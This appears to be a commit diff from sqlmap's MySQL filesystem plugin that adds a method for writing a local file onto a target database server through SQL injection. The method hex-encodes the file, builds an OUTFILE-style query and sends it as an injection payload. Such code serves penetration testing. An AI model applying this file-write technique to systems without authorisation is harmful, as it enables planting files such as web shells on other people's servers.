|
5 | 5 | See the file 'LICENSE' for copying permission |
6 | 6 | """ |
7 | 7 |
|
| 8 | +from lib.core.agent import agent |
| 9 | +from lib.core.common import getSQLSnippet |
8 | 10 | from lib.core.common import isNumPosStrValue |
9 | 11 | from lib.core.common import isTechniqueAvailable |
10 | 12 | from lib.core.common import popValue |
|
16 | 18 | from lib.core.data import logger |
17 | 19 | from lib.core.decorators import stackedmethod |
18 | 20 | from lib.core.enums import CHARSET_TYPE |
| 21 | +from lib.core.enums import DBMS |
19 | 22 | from lib.core.enums import EXPECTED |
20 | 23 | from lib.core.enums import PAYLOAD |
21 | 24 | from lib.core.enums import PLACE |
22 | 25 | from lib.core.exception import SqlmapNoneDataException |
23 | 26 | from lib.request import inject |
| 27 | +from lib.request.connect import Connect as Request |
24 | 28 | from lib.techniques.union.use import unionUse |
25 | 29 | from plugins.generic.filesystem import Filesystem as GenericFilesystem |
26 | 30 |
|
@@ -112,6 +116,34 @@ def unionWriteFile(self, wFile, dFile, fileType, forceCheck=False): |
112 | 116 |
|
113 | 117 | return self.askCheckWrittenFile(wFile, dFile, forceCheck) |
114 | 118 |
|
| 119 | + def linesTerminatedWriteFile(self, wFile, dFile, fileType, forceCheck=False): |
| 120 | + logger.debug("encoding file to its hexadecimal string value") |
| 121 | + |
| 122 | + fcEncodedList = self.fileEncode(wFile, "hex", True) |
| 123 | + fcEncodedStr = fcEncodedList[0][2:] |
| 124 | + fcEncodedStrLen = len(fcEncodedStr) |
| 125 | + |
| 126 | + if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000: |
| 127 | + warnMsg = "the injection is on a GET parameter and the file " |
| 128 | + warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen |
| 129 | + warnMsg += "bytes, this might cause errors in the file " |
| 130 | + warnMsg += "writing process" |
| 131 | + logger.warn(warnMsg) |
| 132 | + |
| 133 | + debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile) |
| 134 | + logger.debug(debugMsg) |
| 135 | + |
| 136 | + query = getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=dFile, HEXSTRING=fcEncodedStr) |
| 137 | + query = agent.prefixQuery(query) # Note: No need for suffix as 'write_file_limit' already ends with comment (required) |
| 138 | + payload = agent.payload(newValue=query) |
| 139 | + page = Request.queryPage(payload) |
| 140 | + |
| 141 | + warnMsg = "expect junk characters inside the " |
| 142 | + warnMsg += "file as a leftover from original query" |
| 143 | + singleTimeWarnMessage(warnMsg) |
| 144 | + |
| 145 | + return self.askCheckWrittenFile(wFile, dFile, forceCheck) |
| 146 | + |
115 | 147 | def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False): |
116 | 148 | debugMsg = "creating a support table to write the hexadecimal " |
117 | 149 | debugMsg += "encoded file to" |
|
0 commit comments